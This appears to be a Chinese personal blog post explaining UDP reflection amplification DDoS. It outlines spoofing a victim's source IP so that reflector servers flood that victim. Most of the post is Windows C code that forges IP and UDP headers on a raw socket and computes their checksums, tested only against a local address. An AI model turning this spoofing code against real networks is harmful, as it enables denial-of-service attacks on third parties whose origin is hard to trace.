UDP反射放大攻击

放大攻击原理

很多协议在响应包处理时,要远大于请求包,一个字节的请求十个字的响应,十个字节的请求一百个字的响应,这就是UDP反射放大攻击最根本的原理。

而且,最重要的一点,UDP是不稳定的,不需要请求建立连接的
那么我就有点想法了

  1. 使用SOCKRAW,伪造UDP头和IP头,是否让目标流量返回给目标自己呢?事实上 我可以一点流量都接收不到,而目标在收到请求后需要放大还要将响应返回给自己。
  1. 另外一种用法,我搜集到了很多这种服务器(当做肉鸡),我伪造UDP头和IP头,伪造为我要攻击的目标,那么这些服务器在接收到我发送的数据后,所有的响应信息全部都会返回到目标IP去,这样也可以达到攻击的效果。

正因为UDP协议是可以伪造的,所以企业在溯源时很难找到攻击者是谁。
如今DDoS产业已经泛滥,技术成本极低,黑产链已经相当的完善和成熟,各个人员的分工,资源获取,集中管控,需求中介,简易化操作工具,方便快速的发起攻击,已经成为黑产界最喜爱的方式之一。

发送原始UDP封包 实现

/*
使用IP头包含选项

创建原始套接字之后,再打开IP_HDRINCL 选项,即可在IP头中封装自己的协议,而不是仅仅使用系统预定义的协议。
一般可以使用这种方法来发送UDP和TCP数据

IP数据报格式:
Version域:这4位指定了数据报的IP版本。对IPV4来说此域值为4.
IHL(IP header length 的缩写):因为IP头长度不是固定的,所以需要这4位来确定IP数据报中数据部分的开始位置。大多数IP数据报不包含此选项,所以通常IP数据报有20个字节的头长度。
Type of service(服务端类型,TOS):包含在IPV4头中,用来区分不同类型的IP数据报
Total length:这是IP数据报的总长度,IP头加数据。这个域是16位(2字节)长,所以IP数据报大小的理论最大值是65535字节。然而数据报的长度很少有超过1500字节的。
Identification域:用来表示已发送的IPV4封包。通常,系统每发送一次封包就增加一次这个值。
Falgs和Fragment offset域:当IPV4分包被分割为较小的包时使用这2个域。DF代表不要分割(dont fragment),这是一个给路由器的命令,告诉他们不要分割此数据报,因为目标主机没有能力将它们恢复回来(例如:机器在启动时)。MF代表更多的分割(More Fragments)。
Time to live(生存时间,TTL)域:包含TTL域是为了确保数据报不会永远呆在网络里打圈。每当数据报被路由器处理时,这个域就会减1,如果减到0,此数据报就会被丢弃。
Protocol域:当IP数据报到达目的地时才使用此域,它指定了IP数据报的数据部分将要传递给哪个传输层协议,例如,值6表示数据部分要被传递给TCP,值17表示数据部分要被传递给UDP。
Header checksum 域:头校验和帮助路由器检测接收到的IP数据报中的位错误。


Source address 和 Destianation address域:指定此数据报的源IP地址和目的IP地址。
Options域:选项域是一个长度可变的域,它包含了可选的信息。最大值是40字节。

*/

#include "pch.h"
#include <iostream>
#include <WinSock2.h>
#include <ws2ipdef.h>
#include <process.h>
#pragma warning(disable:4996)
#pragma comment(lib,"ws2_32.lib")

typedef struct _IPHeader {
	u_char VIHL; //版本和首部长度 各占4bit
	u_char ToS; //服务类型
	u_short TotalLen; //总长度
	u_short ID; //标识号
	u_short Frag_Flags; //片偏移量
	u_char TTL; //生存时间
	u_char Protocol; //协议
	u_short Checksum; //首部校验和
	ULONG SrcIP;
	ULONG DestIP;
	//struct in_addr SrcIP; //源IP地址
	//struct in_addr DestIP; //目的地址
}IPHDR, *PIPHDR;


/*UDP头*/
typedef struct _udpheader {
	USHORT sourcePort; //来源端口
	USHORT destinationPort;//目标端口
	USHORT len;//封包长度
	USHORT checkSum;//校验和
}UDP_HDR,*PUDP_HDR;


/*
因为UDP是不可靠协议,所以计算校验和是可选的。
和IP的校验和不同,UDP的校验和除了包含UDP的字节外,还包含IP头中的几个域。
计算UDP校验和所需的额外的域成为伪头。UDP校验和基于如下几个域:
(针对ipv4)
32位的源IP地址
32位的目的IP地址
8位0域
8位协议与
16位UDP长度
16位源端口号
16位目的端口号
16位UDP长度
16位UDP校验和(0)
UDP静荷(payload)
*/

//计算校验和
WORD checkSum(WORD* wBuff, int nSize) {
	DWORD dwSum = 0;;
	//将数据以WORD为单位累加到wSum
	while (nSize > 1) {
		dwSum += *wBuff++;
		nSize -= sizeof(WORD);
	}

	//若出现最后还剩一个字节继续与前面结果相加(也就是为奇数的情况)。
	if (nSize) {
		dwSum += *(BYTE*)wBuff++;
	}
	while (dwSum >> 16) { //如果有高16位,将一直与低16位相加
		dwSum = (dwSum >> 16) + (dwSum & 0xFFFF);
	}
	//取反
	return (WORD)(~dwSum);
}



//计算UDP校验和
void ComputeUdpPseudoHeaderCchecksum(IPHDR * pIphdr, UDP_HDR * pUdphdr, char * payload, int payloadlen) {
	char buff[1024] = { 0 };
	char *ptr = buff;

	int checksumlen = 0;
	ULONG zero = 0;

	//源IP地址
	memcpy_s(ptr, sizeof(pIphdr->SrcIP),&pIphdr->SrcIP, sizeof(pIphdr->SrcIP));
	ptr += sizeof(pIphdr->SrcIP);
	checksumlen += sizeof(pIphdr->SrcIP);

	//目的IP地址
	memcpy_s(ptr, sizeof(pIphdr->DestIP), &pIphdr->DestIP, sizeof(pIphdr->DestIP));
	ptr += sizeof(pIphdr->DestIP);
	checksumlen += sizeof(pIphdr->DestIP);



	//8位0
	memcpy_s(ptr, 1, &zero, 1);
	ptr += 1;
	checksumlen += 1;



	//协议
	memcpy_s(ptr, sizeof(pIphdr->Protocol), &pIphdr->Protocol, sizeof(pIphdr->Protocol));
	ptr += sizeof(pIphdr->Protocol);
	checksumlen += sizeof(pIphdr->Protocol);






	//UDP长度
	memcpy_s(ptr, sizeof(pUdphdr->len), &pUdphdr->len, sizeof(pUdphdr->len));
	ptr += sizeof(pUdphdr->len);
	checksumlen += sizeof(pUdphdr->len);

	//UDP源端口
	memcpy_s(ptr, sizeof(pUdphdr->sourcePort), &pUdphdr->sourcePort, sizeof(pUdphdr->sourcePort));
	ptr += sizeof(pUdphdr->sourcePort);
	checksumlen += sizeof(pUdphdr->sourcePort);


	//UDP目的端口
	memcpy_s(ptr, sizeof(pUdphdr->destinationPort), &pUdphdr->destinationPort, sizeof(pUdphdr->destinationPort));
	ptr += sizeof(pUdphdr->destinationPort);
	checksumlen += sizeof(pUdphdr->destinationPort);

	//又是UDP长度
	memcpy_s(ptr, sizeof(pUdphdr->len), &pUdphdr->len, sizeof(pUdphdr->len));
	ptr += sizeof(pUdphdr->len);
	checksumlen += sizeof(pUdphdr->len);

	//16位的UDP校验和,置为0
	memcpy_s(ptr, sizeof(USHORT), &zero, sizeof(USHORT));
	ptr += sizeof(USHORT);
	checksumlen += sizeof(USHORT);

	//净荷
	memcpy_s(ptr, payloadlen, payload, payloadlen);
	ptr += payloadlen;
	checksumlen += payloadlen;

	//补齐到下一个16位边界
	for (int i = 0; i < payloadlen%2; i++) {
		*ptr = 0;
		ptr++;
		checksumlen++;
	}

	pUdphdr->checkSum = checkSum((WORD*)buff, checksumlen);
}

//原始套接字 接收UDP封包
unsigned int WINAPI recvThread(PVOID lpParam) {
	SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);


	SOCKADDR_IN sin;
	sin.sin_family = AF_INET;
	sin.sin_port = ntohs(4567);
	sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.5");

	if (::bind(s, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR) {
		printf_s("绑定出错%d\n", GetLastError());
		closesocket(s);
		return 1;
	}


	char sz[256] = { 0 };
	SOCKADDR_IN addrRemote;
	int nLen = sizeof(addrRemote);
	printf_s("准备接收\n");
	int nRet = recvfrom(s, sz, 256, 0, (sockaddr*)&addrRemote, &nLen);
	if (nRet > 0){
		printf_s("来自ip:%s:%d,内容:%s \n", inet_ntoa(addrRemote.sin_addr), htons(addrRemote.sin_port), sz);
	}
	printf_s("接收线程结束");
	return 0;
}

//原始套接字 发送udp封包
int main()
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	//先开始接收线程
	_beginthreadex(NULL, 0, recvThread, NULL, 0, 0);

	char Msg[] = "哈哈哈哈";
	int nMsgLen = sizeof(Msg);

	SOCKET sSend = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
	if (sSend == INVALID_SOCKET) {
		printf_s("请管理员运行\n");
		return -1;
	}

	BOOL bIncl = TRUE;
	if (setsockopt(sSend, IPPROTO_IP, IP_HDRINCL, (char*)&bIncl, sizeof(bIncl)) == SOCKET_ERROR) {
		printf_s("设置失败 %d\n",WSAGetLastError());
		closesocket(sSend);
		return -1;
	}


	char buff[1024] = { 0 };

	//ip头
	IPHDR* pIphdr = (IPHDR*)buff;
	pIphdr->VIHL = (4 << 4 | (sizeof(IPHDR) / sizeof(ULONG)));
	pIphdr->TotalLen = htons(sizeof(IPHDR) + sizeof(UDP_HDR) + nMsgLen);
	pIphdr->TTL = 128;
	pIphdr->Protocol = IPPROTO_UDP;
	pIphdr->SrcIP = inet_addr("192.168.0.5");//做测试 所以都是我
	pIphdr->DestIP = inet_addr("192.168.0.5");
	pIphdr->Checksum = checkSum((USHORT*)pIphdr, sizeof(IPHDR));


	//UDP头
	UDP_HDR* pUdphdr = (UDP_HDR*)(buff + sizeof(IPHDR));
	pUdphdr->sourcePort = htons(8888);
	pUdphdr->destinationPort = htons(4567);
	pUdphdr->len = htons(sizeof(UDP_HDR) + nMsgLen);
	pUdphdr->checkSum = 0;
	char* pPayload = buff + sizeof(IPHDR) + sizeof(UDP_HDR);
	memcpy_s(pPayload, 1024 - sizeof(IPHDR) - sizeof(UDP_HDR), Msg, nMsgLen);
	ComputeUdpPseudoHeaderCchecksum(pIphdr, pUdphdr, pPayload, nMsgLen);
	

	//设置目的地址 要和UDP头中相同
	SOCKADDR_IN sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(4567);
	sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.5");

	int nRet = sendto(sSend, buff, nMsgLen + sizeof(IPHDR) + sizeof(UDP_HDR), 0, (sockaddr*)&sin, sizeof(sin));
	if (nRet == SOCKET_ERROR) {
		printf_s("发送失败\n");
	}
	printf_s("发送完成\n");
	Sleep(10000);
	closesocket(sSend);
	WSACleanup();
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

没事干写博客玩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值